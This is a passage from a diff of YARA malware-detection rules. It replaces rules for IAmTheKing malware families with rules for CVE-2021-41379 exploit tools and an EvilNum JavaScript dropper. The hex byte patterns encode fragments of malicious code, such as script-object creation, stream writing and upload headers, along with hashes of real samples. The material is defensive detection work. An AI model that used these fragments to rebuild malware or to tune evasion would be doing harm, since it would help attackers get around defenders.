= "WS2_32.dll" fullword ascii + $s14 = "WinHttpReceiveResponse" fullword ascii + $s15 = "GetLogicalDrives" fullword ascii condition: - uint16( 0 ) == 0x5a4d and filesize > 20KB and 7 of ( $s* ) + uint16( 0 ) == 0x5a4d and filesize < 100KB and ( pe.imphash ( ) == "c8379f0eeeb3a522f1dd75aa5f1500b0" or 12 of them ) } -rule ARKBIRD_SOLG_Tool_Screencapture_Jul_2021_1 : FILE +rule ARKBIRD_SOLG_EXP_CVE_2021_41379_Nov_2021_3 : CVE_2021_41379 FILE { meta: - description = "Detect Screen Capture utility" + description = "Detect exploit tool using CVE-2021-41379 (variant 3)" author = "Arkbird_SOLG" - id = "09e4295e-454a-519a-964e-c5295e603aef" - date = "2021-07-09" - modified = "2021-07-12" - reference = "https://securelist.com/iamtheking-and-the-slothfulmedia-malware-family/99000/" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-07-11/IAmTheKing/Tool_ScreenCapture_Jul_2021_1.yara#L1-L19" + id = "c82578d6-63ca-50f6-b105-321791ec8808" + date = "2021-11-26" + modified = "2021-11-29" + reference = "Internal Research" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-11-26/EXP_CVE_2021_41379_Nov_2021_3.yara#L1-L27" license_url = "N/A" - logic_hash = "dff6c722ec001f5e3b5c53b41f8d457ab69ae46316f5dc7bbf1d00eb3d1ed3c8" + logic_hash = "559c4ca0e9ac60e3dd7d5b9a8eb22d887b0b436d4e1fc528e05e7a33ecce0aa6" score = 75 - quality = 73 - tags = "FILE" - hash1 = "f441e6239b592ac15538a8ba8903e5874283b066050a5a7e514ce33e84237f4e" - tlp = "White" - adversary = "IAmTheKing" + quality = 75 + tags = "CVE-2021-41379, FILE" + hash1 = "0dcda614c0128813bf74802f0e98ffd5ec32a40f35ed42778a5ec5984b5adf47" + hash2 = "3c78e07924e1503be1f8785c23d0dd813f04211992cbd6a4955cd0e25c745735" + hash3 = "57ec6e15bcc9c79c118f97103815bd74226d4baae334142890a52fbbc5006f1b" + hash4 = "9d24383e50e61257c565e47ec073cbb2cd751b6f650f0d542b0643dbe6691b3c" + tlp = "white" + adversary = "-" strings: - $s1 = "@MyScreen.jpg" fullword wide - $s2 = "DISPLAY" fullword wide - $s3 = "_invoke_watson" fullword ascii - $s4 = "GdipSaveImageToStream" fullword ascii - $s5 = { 8b 57 04 89 4d e8 8d 4d e8 51 52 e8 16 0c 00 00 85 c0 74 03 89 47 08 8b 75 e8 81 fe 00 04 00 00 77 18 56 e8 ac f9 ff ff 83 c4 04 84 c0 74 0b 8b c6 e8 9e 15 00 00 8b f4 eb 35 83 c8 ff 2b c6 83 f8 08 72 15 8d 46 08 50 ff 15 f4 30 40 00 83 c4 04 85 } + $s1 = { 8d 0d [2] 03 00 e8 [2] ff ff 41 b8 00 00 00 80 33 d2 33 c9 ff 15 [2] 03 00 48 89 45 08 41 b8 01 00 00 00 48 8d 15 [3] 00 48 8b 4d 08 ff 15 [2] 03 00 48 89 45 28 ff 15 [2] 03 00 3d 24 } + $s2 = { 33 d2 48 8b 4d 08 ff 15 [2] 03 00 c7 45 24 00 00 00 00 48 8d 55 24 48 8b 4d 08 ff 15 [2] 03 00 48 8b 4d 08 ff 15 [2] 03 00 ff 15 [2] 03 00 44 8b c0 33 d2 b9 00 10 10 00 ff 15 [2] 03 00 48 89 45 48 48 c7 45 68 00 00 00 00 4c 8d 45 68 ba ff 01 0f 00 48 8b 4d 48 ff 15 [2] 03 00 48 8b 4d 48 ff 15 [2] 03 00 48 c7 85 88 00 00 00 00 00 00 00 48 8d 85 88 00 00 00 48 89 44 24 28 c7 44 24 20 01 00 00 00 41 b9 02 00 00 00 45 33 c0 ba ff 01 0f 00 48 8b 4d 68 ff 15 [2] 03 00 48 8b 4d 68 ff 15 [2] 03 00 41 b9 04 00 00 00 4c 8d 45 24 ba 0c 00 00 00 48 8b 8d 88 00 00 00 ff 15 [2] 03 00 48 8d 85 a8 00 00 00 48 8b f8 33 c0 b9 18 00 00 00 f3 aa 48 8d 85 e0 00 00 00 48 8b f8 33 c0 b9 68 00 00 00 f3 aa c7 85 e0 00 00 00 68 00 00 00 b8 05 00 00 00 66 89 85 20 01 00 00 48 8d 05 [2] 02 00 48 89 85 f0 00 00 00 41 b8 04 01 00 00 48 8d 95 70 01 00 00 48 8d 0d [2] 02 00 ff 15 [2] 03 00 48 8d 85 a8 00 00 00 48 89 44 24 50 48 8d 85 e0 00 00 00 48 89 44 24 48 48 c7 44 24 40 00 00 00 00 48 c7 44 24 38 00 00 00 00 c7 44 24 30 10 00 00 00 c7 44 24 28 00 00 00 00 48 c7 44 24 20 00 00 00 00 45 33 c9 45 33 c0 48 8d 95 70 01 00 00 48 8b 8d 88 00 00 00 ff 15 [2] 03 00 48 8b 8d 88 00 00 00 ff 15 [2] 03 00 48 8b 8d a8 00 00 00 ff 15 [2] 03 00 48 8b 8d b0 00 00 00 ff 15 [2] 03 00 } + $s3 = { 41 b8 00 00 00 80 33 d2 33 c9 ff 15 [2] 03 00 48 89 45 08 41 b8 01 00 00 00 48 8d 15 [3] 00 48 8b 4d 08 ff 15 [2] 03 00 48 89 45 28 48 8b 4d 08 ff 15 [2] 03 00 48 c7 45 48 00 00 00 00 c7 45 64 00 00 00 00 4c 8d 4d 64 45 33 c0 48 8b 55 48 48 8b 4d 28 ff 15 [2] 03 00 8b 45 64 48 89 85 88 04 00 00 ff 15 [2] 03 00 48 8b 8d 88 04 00 00 4c 8b c1 ba 0c 00 00 00 48 8b c8 ff 15 [2] 03 00 48 89 45 48 4c 8d 4d 64 44 8b 45 64 48 8b 55 48 48 8b 4d 28 ff 15 [2] 03 00 48 8b 45 48 4c 8b 40 10 ba 04 01 00 00 48 8d 8d 90 00 00 00 ff 15 [2] 03 00 ff 15 [2] 03 00 4c 8b 45 48 33 d2 48 8b c8 ff 15 [2] 03 00 48 8b 4d 28 ff 15 [2] 03 00 c7 85 b4 02 00 00 01 00 00 00 c7 85 d4 02 00 00 00 00 00 } + $s4 = { 68 00 00 00 80 6a 00 6a 00 ff 15 24 f0 43 00 3b f4 e8 bf 5b ff ff 89 45 f8 8b f4 6a 01 68 34 84 43 00 8b 45 f8 50 ff 15 20 f0 43 00 3b f4 e8 a2 5b ff ff 89 45 ec 8b f4 ff 15 2c f1 43 00 3b f4 e8 90 5b ff ff 3d 24 } + $s5 = { f3 ab a1 0c d0 43 00 33 c5 89 45 fc b9 d9 10 44 00 e8 55 9c ff ff 8b 45 08 89 45 f4 b9 0c 00 00 00 be a4 7e 43 00 8d bd ec f7 ff ff f3 a5 68 d0 07 00 00 6a 00 8d 85 1c f8 ff ff 50 e8 bd 95 ff } + $s6 = { 8b f4 6a 00 8b 45 f4 50 ff 15 88 f0 43 00 3b f4 e8 8d 67 ff ff c7 45 e8 00 00 00 00 8b f4 8d 45 e8 50 8b 4d f4 51 ff 15 c8 f0 43 00 3b f4 e8 6f 67 ff ff 8b f4 8b 45 f4 50 ff 15 30 f1 43 00 3b f4 e8 5c 67 ff ff 8b f4 ff 15 a4 f0 43 00 3b f4 e8 4d 67 ff ff 8b f4 50 6a 00 68 00 10 10 00 ff 15 b8 f0 43 00 3b f4 e8 36 67 ff ff 89 45 dc c7 45 d0 00 00 00 00 8b f4 8d 45 d0 50 68 ff 01 0f 00 8b 4d dc 51 ff 15 3c f0 43 00 3b f4 e8 10 67 ff ff 8b f4 8b 45 dc 50 ff 15 30 f1 43 00 3b f4 e8 fd 66 ff ff c7 45 c4 00 00 00 00 8b f4 8d 45 c4 50 6a 01 6a 02 6a 00 68 ff 01 0f 00 8b 4d d0 51 ff 15 38 f0 43 00 3b f4 e8 d4 66 ff ff 8b f4 8b 45 d0 50 ff 15 30 f1 43 00 3b f4 e8 c1 66 ff ff 8b f4 6a 04 8d 45 e8 50 6a 0c 8b 4d c4 51 ff 15 2c f0 43 00 3b f4 e8 a6 66 ff ff 33 c0 89 45 ac 89 45 b0 89 45 b4 89 45 b8 6a 44 6a 00 8d 85 60 ff ff ff 50 e8 36 63 ff ff 83 c4 0c c7 85 60 ff ff ff 44 00 00 00 b8 05 00 00 00 66 89 45 90 c7 85 68 ff ff ff a0 86 43 00 8b f4 68 04 01 00 00 8d 85 50 fd ff ff 50 68 c8 86 43 00 ff 15 58 f1 43 00 3b f4 e8 48 66 ff ff 8b f4 8d 45 ac 50 8d 8d } + $s7 = { 40 53 48 81 ec 30 08 00 00 48 8b 05 b8 78 00 00 48 33 c4 48 89 84 24 20 08 00 00 0f 10 05 7e 4e 00 00 48 8b d9 33 d2 0f 10 0d 82 4e 00 00 48 8d 4c 24 50 41 b8 d0 07 00 00 0f 29 44 24 20 0f 10 05 7b 4e 00 00 0f 29 4c 24 30 0f 29 44 24 40 e8 da 42 00 00 4c 8b 03 48 8d 4c 24 20 ba 00 04 00 00 e8 6a f8 ff ff 33 d2 8d 4a 02 ff 15 77 4c 00 00 48 8b 4b 08 48 8d 54 24 20 ff 15 70 4c 00 00 33 c0 48 8b 8c 24 20 08 00 00 48 33 cc e8 de 34 00 00 48 81 c4 30 08 00 00 } + $s8 = { 33 d2 48 8b cb ff 15 c6 2c 00 00 83 65 00 00 48 8d 55 00 48 8b cb ff 15 85 2c 00 00 48 8b cb ff 15 1c 2d 00 00 ff 15 86 2c 00 00 33 d2 b9 00 10 10 00 44 8b c0 ff 15 46 2c 00 00 48 83 64 24 68 00 4c 8d 44 24 68 48 8b c8 ba ff 01 0f 00 48 8b d8 ff 15 82 2b 00 00 48 8b cb ff 15 e1 2c 00 00 48 8b 4c 24 68 48 8d 44 24 60 48 83 64 24 60 00 41 b9 02 00 00 00 48 89 44 24 28 45 33 c0 ba ff 01 0f 00 c7 44 24 20 01 00 00 00 ff 15 80 2b 00 00 48 8b 4c 24 68 ff 15 a5 2c 00 00 48 8b 4c 24 60 4c 8d 45 00 41 b9 04 00 00 00 41 8d 51 08 ff 15 1c 2b 00 00 33 c0 48 8d 4d 90 0f 57 c0 48 89 45 80 33 d2 0f 11 44 24 70 8d 58 68 44 8b c3 e8 5b 25 00 00 8d 43 9d 89 5d 90 66 89 45 d0 48 8d 55 10 48 8d 05 e0 33 00 00 41 b8 04 01 00 00 48 8d 0d f3 33 00 00 48 89 45 a0 ff 15 91 2c 00 00 48 8b 4c 24 60 48 8d 44 24 70 48 89 44 24 50 48 8d 55 10 48 8d 45 90 45 33 c9 48 89 44 24 48 45 33 c0 48 83 64 24 40 00 48 83 64 24 38 00 c7 44 24 30 10 00 00 00 83 64 24 28 00 48 83 64 24 20 00 ff 15 9a 2a 00 00 48 8b 4c 24 60 ff 15 ef 2b 00 00 48 8b 4c 24 70 ff 15 e4 2b 00 00 48 8b 4c 24 78 ff 15 d9 } + $s9 = { 33 d2 33 c9 41 b8 00 00 00 80 ff 15 ba 33 00 00 41 b8 01 00 00 00 48 8d 15 7d 3b 00 00 48 8b c8 48 8b d8 ff 15 d9 33 00 00 48 8b cb 48 8b f8 ff 15 8d 33 00 00 4c 8d 4c 24 20 89 74 24 20 45 33 c0 33 d2 48 8b cf ff 15 ae 33 00 00 8b 5c 24 20 ff 15 64 34 00 00 44 8b c3 ba 0c 00 00 00 48 8b c8 ff 15 33 34 00 00 44 8b 44 24 20 4c 8d 4c 24 20 48 8b d0 48 8b cf 48 8b d8 ff 15 7a 33 00 00 4c 8b 43 10 48 8d 4c 24 30 ba 04 01 00 00 ff 15 46 37 00 00 ff 15 20 34 00 00 4c 8b c3 33 d2 48 8b c8 ff 15 9a 33 00 00 48 8b cf ff 15 11 33 00 00 48 8d 4c 24 30 8b fe ff 15 a4 33 00 00 83 e8 02 } condition: - uint16( 0 ) == 0x5a4d and ( filesize > 8KB and filesize < 60KB ) and 4 of ( $s* ) + uint16( 0 ) == 0x5A4D and filesize > 25KB and 3 of ( $s* ) } -rule ARKBIRD_SOLG_MAL_Powerpool_Jul_2021_1 : FILE +rule ARKBIRD_SOLG_EXP_CVE_2021_41379_Nov_2021_2 : CVE_2021_41379 FILE { meta: - description = "Detect PowerPool malware" + description = "Detect exploit tool using CVE-2021-41379 (variant 2)" author = "Arkbird_SOLG" - id = "8248300e-fc3e-56df-be4a-f1850e2bedc8" - date = "2021-07-09" - modified = "2021-07-12" - reference = "https://securelist.com/iamtheking-and-the-slothfulmedia-malware-family/99000/" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-07-11/IAmTheKing/MAL_PowerPool_Jul_2021_1.yara#L1-L29" + id = "29fe9a9c-5180-55c8-882b-ad18981dc011" + date = "2021-11-26" + modified = "2021-11-29" + reference = "Internal Research" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-11-26/EXP_CVE_2021_41379_Nov_2021_2.yara#L1-L22" license_url = "N/A" - logic_hash = "0978a6cd60533ffda0c2b13ea98dc1ba46a464890b895cb2704804a763756fca" + logic_hash = "28b1d0d6c0ee14cd46b12763692f4f76020cd5ad74bb2b39b61f493b98486068" score = 75 - quality = 73 - tags = "FILE" - hash1 = "9c08136b26ee5234c61a5d9e5a17afb15da35efc66514d2df5b53178693644c5" - hash2 = "23e7e0bbc36d523daa8e3cd8e32618c6c1fb61e32f664756e77d7917b3b11644" - hash3 = "e30d32cc40ad19add7dfdcbed960d5f074ea632b796ae975b75eb25455b66bb0" - hash4 = "88e7813340194acc4b094fd48ecf665a12d19245b90f2a69dab5861982ca95f6" - tlp = "White" - adversary = "IAmTheKing" + quality = 75 + tags = "CVE-2021-41379, FILE" + hash1 = "13fe508e7efb50378eb8e0225221283756bf482d51be7837f850ef2b7f3281f0" + hash2 = "402722d95d468ddef049e1079c882bb9a316841b9695a15783fc23bbd3b33aed" + hash3 = "d025564e6dc872cff32f2295e0b5a2d8e3a21fbef1957facb69a493fa8a995fb" + hash4 = "dc65cd6311fd764a89d0761932bef61a89fd979510bd9ff23cde8c001de316b8" + tlp = "white" + adversary = "-" strings: - $s1 = "write info fail!!! GetLastError-->%u" fullword ascii - $s2 = "Set Option failed errcode: %ld" fullword ascii - $s3 = { 68 96 00 00 00 68 ?? c4 44 00 b9 ?? 4c 45 00 e8 [2] fb ff 68 [2] 44 00 e8 ?? 4f fe ff 59 c3 68 96 00 00 00 68 ?? c5 44 00 b9 ?? 4c 45 00 e8 [2] fb ff 68 [2] 44 00 e8 ?? 4f fe ff 59 c3 68 96 00 00 00 68 [2] 44 00 b9 ?? 4c 45 00 e8 [2] fb ff 68 [2] 44 00 e8 [2] fe ff 59 c3 83 3d ?? 4c 45 00 00 74 38 53 6a 01 b8 ?? 4c 45 00 e8 ?? a0 fc ff 50 6a 00 b9 ?? 4c 45 00 e8 [2] fb ff 6a ff bb 01 00 00 00 b8 ?? 4c 45 00 e8 [2] fc ff 40 50 b9 ?? 4c 45 00 e8 [2] fb ff 5b 33 c0 6a ff 50 68 ?? 4c 45 00 } - $s4 = { 2d 2d 25 73 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 25 73 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 25 73 22 } - $s5 = { 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 6d 75 6c 74 69 70 61 72 74 2f 66 6f 72 6d 2d 64 61 74 61 3b 20 62 6f 75 6e 64 61 72 79 3d 2d 2d 4d 55 4c 54 49 2d 50 41 52 54 53 2d 46 4f 52 4d 2d 44 41 54 41 2d 42 4f 55 4e 44 41 52 59 0d 0a } - $s6 = { 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 25 73 22 0d 0a 0d 0a } - $s7 = { 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 77 77 77 2d 66 6f 72 6d 2d 75 72 6c 65 6e 63 6f 64 65 64 0d 0a } - $s8 = { 25 73 3b 74 79 70 65 3d 25 73 3b 6c 65 6e 67 74 68 3d 25 73 3b 72 65 61 6c 64 61 74 61 3d 25 73 65 6e 64 } + $s1 = { 4c 89 6c 24 38 44 89 6c 24 30 44 89 6c 24 28 44 89 6c 24 20 [1-2] 01 00 00 00 ?? 8b ?? 45 33 c0 ba 03 00 08 00 48 8d 0d [3] 00 ff 15 [3] 00 48 8b d8 48 83 f8 ff 0f 84 ?? 01 00 00 33 d2 48 8b c8 ff 15 [3] 00 44 89 6d 10 48 8d 55 10 48 8b cb ff 15 [3] 00 48 8b cb ff 15 [3] 00 ff 15 [3] 00 44 8b c0 33 d2 b9 00 10 10 00 ff 15 [3] 00 48 8b d8 4c 89 } + $s2 = { 4c 89 6c 24 30 c7 44 24 28 80 00 00 04 c7 44 24 20 04 00 00 00 45 33 c9 [1-2] 01 00 00 00 ?? 8b ?? ba 00 00 01 80 48 8d 4d 20 ff 15 [3] 00 48 89 05 [3] 00 44 89 6d 14 48 8d 45 14 48 89 44 24 28 44 89 6c 24 20 45 33 c9 4c 8d 05 [2] ff ff 33 d2 33 c9 ff 15 [3] 00 48 8b d8 ?? 8b ?? ba 04 01 00 00 49 8d ?? 10 02 00 00 [4] 00 } + $s3 = { 40 53 48 81 ec 30 08 00 00 48 8b 05 [3] 00 48 33 c4 48 89 84 24 20 08 00 00 0f 10 05 [3] 00 48 8b d9 33 d2 0f 10 0d [3] 00 48 8d 4c 24 50 41 b8 d0 07 00 00 0f 29 44 24 20 0f 10 05 [3] 00 0f 29 4c 24 30 0f 29 44 24 40 e8 [2] 00 00 4c 8b 0b 48 8d 44 24 20 41 b8 00 04 00 00 41 8b c8 66 83 38 00 74 0a 48 83 c0 02 48 83 e9 01 75 f0 45 33 d2 49 8b c0 48 2b c1 48 85 c9 49 0f 44 c2 74 47 4c 2b c0 48 8d 44 44 20 74 2e b9 fe ff ff 7f 4c 2b c8 0f 1f 80 00 00 00 00 48 85 c9 74 1a 41 0f b7 14 01 66 85 d2 74 10 66 89 10 48 ff c9 48 83 c0 02 49 83 e8 01 75 e1 4d 85 c0 48 8d 50 fe 48 0f 45 d0 66 44 89 12 33 d2 8d 4a 02 ff 15 [3] 00 48 8b 4b 08 48 8d 54 24 20 ff 15 [3] 00 33 c0 48 8b 8c 24 20 08 00 00 48 33 cc e8 [2] 00 00 48 81 c4 30 08 00 00 5b } + $s4 = { 48 8b c8 ff 15 [3] 00 33 c9 ff 15 [3] 00 48 8b c8 41 b8 04 01 00 00 48 8d 95 30 02 00 00 ff 15 [3] 00 e8 [2] ff ff 48 8b d0 45 33 c0 48 8d 8d 30 02 00 00 ff 15 [3] 00 33 c9 ff 15 [3] 00 48 8d } condition: - uint16( 0 ) == 0x5a4d and filesize > 100KB and 6 of ( $s* ) + uint16( 0 ) == 0x5A4D and filesize > 25KB and all of ( $s* ) } -rule ARKBIRD_SOLG_MAL_Kingofhearts_Jul_2021_1 : FILE +rule ARKBIRD_SOLG_EXP_CVE_2021_41379_Nov_2021_1 : CVE_2021_41379 FILE { meta: - description = "Detect KingOfHearts malware" + description = "Detect exploit tool using CVE-2021-41379" author = "Arkbird_SOLG" - id = "b1efb4db-3864-5fdc-a3a0-992734eaf22f" - date = "2021-07-09" - modified = "2021-07-12" - reference = "https://twitter.com/ShadowChasing1/status/1413111641504292864" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-07-11/IAmTheKing/MAL_KingOfHearts_Jul_2021_1.yara#L1-L21" + id = "616e697d-0c62-58bb-9f37-29670a09d886" + date = "2021-11-26" + modified = "2021-11-29" + reference = "https://twitter.com/JAMESWT_MHT/status/1463414554004709384" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-11-26/EXP_CVE_2021_41379_Nov_2021_1.yara#L1-L21" license_url = "N/A" - logic_hash = "6761958760997030693c832c75098890b0d6d34fd6fe9c60d68d611497d57419" + logic_hash = "5514ab8f95a5d82453407dd506d55eaf1a0aa22f5ce6a5fb18501ef41645305a" score = 75 - quality = 50 - tags = "FILE" - hash1 = "0639e8f5e517c3f57d28bfd9f51cabfb275c64b7bca224656c2ac04f5a8c3af0" - hash2 = "0340a90ed4000e579c29f6ad7d4ab2ae1d30f18a2e777689e3e576862efbd6e0" - hash3 = "393ccb9853ea7628792e4dd982c2dd52dd8f768fdb7b80b20cbfc2fac4e298a4" - tlp = "White" - adversary = "IAmTheKing" + quality = 75 + tags = "CVE-2021-41379, FILE" + hash1 = "5d97d3035b2ec1bd16016922899350693cae5f7a3be6cadbe0da34fbfd14b612" + hash2 = "76fe99189fa84e28dd346b1105da77c4dfd3f7f16478b05bfca4c13a75d9fd07" + hash3 = "9e4763ddb6ac4377217c382cf6e61221efca0b0254074a3746ee03d3d421dabd" + hash4 = "a018545b334dc2a0e0c437789a339c608852fa1cedcc88be9713806b0855faea" + tlp = "white" + adversary = "-" strings: - $s1 = { 43 00 72 00 65 00 61 00 74 00 65 00 44 00 6f 00 77 00 6e 00 4c 00 6f 00 61 00 64 00 46 00 69 00 6c 00 65 00 20 00 22 00 25 00 73 00 22 00 20 00 46 00 61 00 69 00 6c 00 65 00 64 00 2c 00 45 00 72 00 72 00 6f 00 72 00 3d 00 25 00 64 } - $s2 = { 43 00 72 00 65 00 61 00 74 00 65 00 55 00 70 00 4c 00 6f 00 61 00 64 00 46 00 69 00 6c 00 65 00 20 00 22 00 25 00 73 00 22 } - $s3 = "HARDWARE\\DESCRIPTION\\System\\BIOS" fullword ascii - $s4 = "\\1-driver-vmsrvc" fullword ascii - $s5 = { 73 74 61 72 74 20 64 6f 77 6e 3a 20 25 73 0a } - $s6 = { 66 00 69 00 6c 00 65 00 20 00 64 00 65 00 6c 00 65 00 74 00 65 00 20 00 73 00 75 00 63 00 63 00 65 00 73 00 73 00 20 00 22 00 25 00 73 00 22 } + $s1 = { 50 6a 01 50 68 03 00 08 00 68 [3] 00 ff 15 [3] 00 8b f0 83 fe ff 0f 84 [2] 00 00 6a 00 56 ff 15 88 [2] 00 8d 85 ?? fb ff ff c7 85 ?? fb ff ff 00 00 00 00 50 56 ff 15 [3] 00 8b 3d [3] 00 56 ff d7 ff 15 [3] 00 50 6a 00 68 00 10 10 00 ff 15 [3] 00 8b f0 c7 85 ?? fb ff ff 00 00 00 00 8d 85 ?? fb ff ff 50 68 ff 01 0f 00 56 ff 15 [3] 00 56 ff d7 8d 85 ?? fb ff ff c7 85 ?? fb ff ff 00 00 00 00 50 6a 01 6a 02 6a 00 68 ff 01 0f 00 ff b5 ?? fb ff ff ff 15 [3] 00 ff b5 ?? fb ff ff ff d7 6a 04 8d 85 ?? fb ff ff 50 6a 0c ff b5 ?? fb ff ff ff 15 08 [2] 00 6a 44 8d 85 78 fb ff ff 0f 57 c0 6a 00 50 0f 11 85 bc fb ff ff e8 [2] 00 00 83 c4 0c c7 85 78 fb ff ff 44 00 00 00 b8 05 00 00 00 c7 85 80 fb ff ff [3] 00 66 89 85 a8 fb ff ff 8d 85 e8 fd ff ff 68 04 01 00 00 50 68 [3] 00 ff 15 [3] 00 8d 85 bc fb ff ff 50 8d 85 78 fb ff ff 50 6a 00 6a 00 6a 10 6a 00 6a 00 6a 00 6a 00 8d 85 e8 fd ff ff 50 ff b5 ?? fb ff ff ff 15 [3] 00 ff b5 ?? fb ff ff ff d7 ff b5 bc fb ff ff ff d7 ff b5 c0 fb ff ff ff d7 } + $s2 = { 6a 00 68 80 00 00 04 6a 04 6a 00 6a 01 68 00 00 01 80 8d 85 e8 fd ff ff 50 ff 15 [3] 00 8b 35 [3] 00 a3 [3] 00 8d 85 d8 fb ff ff 50 6a 00 6a 00 68 [2] 40 00 6a 00 6a 00 c7 85 d8 fb ff ff 00 00 00 00 ff d6 8b f8 8b 85 dc fb ff ff 68 [3] 00 05 0c 02 00 00 68 04 01 00 00 50 } + $s3 = { 55 8b ec 81 ec 04 08 00 00 a1 04 [2] 00 33 c5 89 45 fc 0f 10 05 [3] 00 ?? 8b ?? 08 8d 85 2c f8 ff ff [0-1] 0f 11 85 fc f7 ff ff [1-5] 0f 10 05 [3] 00 [3-8] 0f 11 85 0c f8 ff ff [0-1] 0f 10 05 } + $s4 = { 50 ff ?? 68 04 01 00 00 8d 85 e0 fb ff ff 50 6a 00 ff 15 [3] 00 50 ff 15 [3] 00 6a 00 e8 [2] ff ff 50 8d 85 e0 fb ff ff 50 ff 15 84 [2] 00 6a 00 ff 15 [3] 00 8d 85 ?? fb ff ff 50 68 [3] 00 6a 04 6a 00 68 [3] 00 ff 15 [3] 00 ff 15 [3] 00 8b 35 [3] 00 8b 3d [3] 00 } condition: - uint16( 0 ) == 0x5a4d and filesize > 35KB and 4 of ( $s* ) + uint16( 0 ) == 0x5A4D and filesize > 25KB and all of ( $s* ) } -rule ARKBIRD_SOLG_MAL_Queenofhearts_Jul_2021_1 : FILE +rule ARKBIRD_SOLG_APT_Evilnum_JS_Jul_2021_1 : FILE { meta: - description = "Detect QueenOfHearts malware" + description = "Detect JS script used by EvilNum group" author = "Arkbird_SOLG" - id = "763b35dd-6515-5ae8-a539-200a3647f074" - date = "2021-07-09" - modified = "2021-07-12" - reference = "https://twitter.com/ShadowChasing1/status/1413111641504292864" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-07-11/IAmTheKing/MAL_QueenOfHearts_Jul_2021_1.yara#L1-L23" + id = "08b410c4-4899-5280-9735-6b3017c7a813" + date = "2020-07-13" + modified = "2021-07-14" + reference = "Internal Research" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-07-13/EvilNum/APT_EvilNum_JS_Jul_2021_1.yara#L1-L22" license_url = "N/A" - logic_hash = "51cb8efddbc635e9a54f58a799e6edcf8eda8ca451ebe85cbce5f6cd20bfb083" + logic_hash = "0ace40e54f6dca078f17e7e157c7973642b83366ba792d2bcdc0d971f729fb68" score = 75 - quality = 75 + quality = 69 tags = "FILE" - hash1 = "44eb620879e0c3f80ff95fda5b1e301d471b59e47c4002132df646acfc7cc5ba" - hash2 = "a63600e5c28a4c1770a53d310ff017abd3cb9c20cb58a85d53df0c06bcae1864" - hash3 = "f110ebee387c2dfac08beb674a8efec20940bc562c5231e9bb4a90296476c29f" - tlp = "White" - adversary = "IAmTheKing" + hash1 = "8420577149bef1eb12387be3ea7c33f70272e457891dfe08fdb015ba7cd92c72" + hash2 = "c16824a585c9a77332fc16357b5e00fc110c00535480e9495c627f656bb60f24" + hash3 = "1061baf604aaa7ed5ba3026b9367de7b6c7f20e7e706d9e9b5308c45a64b2679" + tlp = "white" + adversary = "EvilNum" strings: - $s1 = "send request error:%d" fullword ascii - $s2 = "cookie size :%d" fullword wide - $s3 = "querycode error" fullword wide - $s4 = { 7b 27 73 65 73 73 69 6f 6e 27 3a 5b 7b 27 6e 61 6d 65 27 3a 27 [1-10] 27 2c 27 69 64 27 3a [1-6] 2c 27 74 69 6d 65 27 3a [3-10] 7d 5d 2c 27 6a 70 67 27 3a } - $s5 = "PmMytex%d" fullword wide - $s6 = { 43 00 6f 00 6e 00 74 00 65 00 6e 00 74 00 2d 00 4c 00 65 00 6e 00 67 00 74 00 68 00 3a 00 20 00 25 00 49 00 36 00 34 00 75 00 0d 00 0a } - $s7 = { 25 00 73 00 5c 00 25 00 73 00 2e 00 6c 00 6f 00 67 } - $s8 = { 25 00 73 00 5f 00 25 00 63 00 25 00 63 00 25 00 63 00 25 00 63 00 5f 00 25 00 64 } + $s1 = { 57 53 63 72 69 70 74 2e 43 72 65 61 74 65 4f 62 6a 65 63 74 28 22 4d 53 58 6d 6c 32 2e 44 4f 4d 44 6f 63 75 6d 65 6e 74 22 29 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 42 61 73 65 36 34 44 61 74 61 22 29 3b } + $s2 = { 57 53 63 72 69 70 74 2e 43 72 65 61 74 65 4f 62 6a 65 63 74 28 22 4d 53 58 6d 6c 32 2e 44 4f 4d 44 6f 63 75 6d 65 6e 74 22 29 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 42 61 73 65 36 34 44 61 74 61 22 29 3b } + $s3 = { 69 66 20 28 2d 31 20 21 3d 20 57 53 63 72 69 70 74 2e 53 63 72 69 70 74 46 75 6c 6c 4e 61 6d 65 2e 69 6e 64 65 78 4f 66 28 [1-8] 28 22 } + $s4 = { 52 75 6e 28 [1-8] 30 2c 20 30 29 } + $s5 = { 7d 2c 20 ?? 20 3d 20 ?? 2e 63 68 61 72 43 6f 64 65 41 74 28 30 29 2c 20 ?? 20 3d 20 ?? 2e 73 6c 69 63 65 28 31 2c 20 31 20 2b 20 ?? 29 2c 20 ?? 20 3d 20 ?? 2e 73 6c 69 63 65 28 31 20 2b 20 ?? 20 2b 20 34 29 2c 20 ?? 20 3d 20 5b 5d 2c } + $s6 = { 57 53 63 72 69 70 74 2e 43 72 65 61 74 65 4f 62 6a 65 63 74 28 22 41 44 4f 44 42 2e 53 74 72 65 61 6d 22 29 3b } + $s7 = { 5b ?? 5d 20 3d 20 ?? 20 2b 20 22 2d 22 20 2b 20 ?? 20 2b 20 22 2d 22 20 2b 20 ?? 20 2b 20 22 54 22 20 2b 20 ?? 20 2b 20 22 3a 22 20 2b 20 ?? 20 2b 20 22 3a 22 20 2b 20 ?? 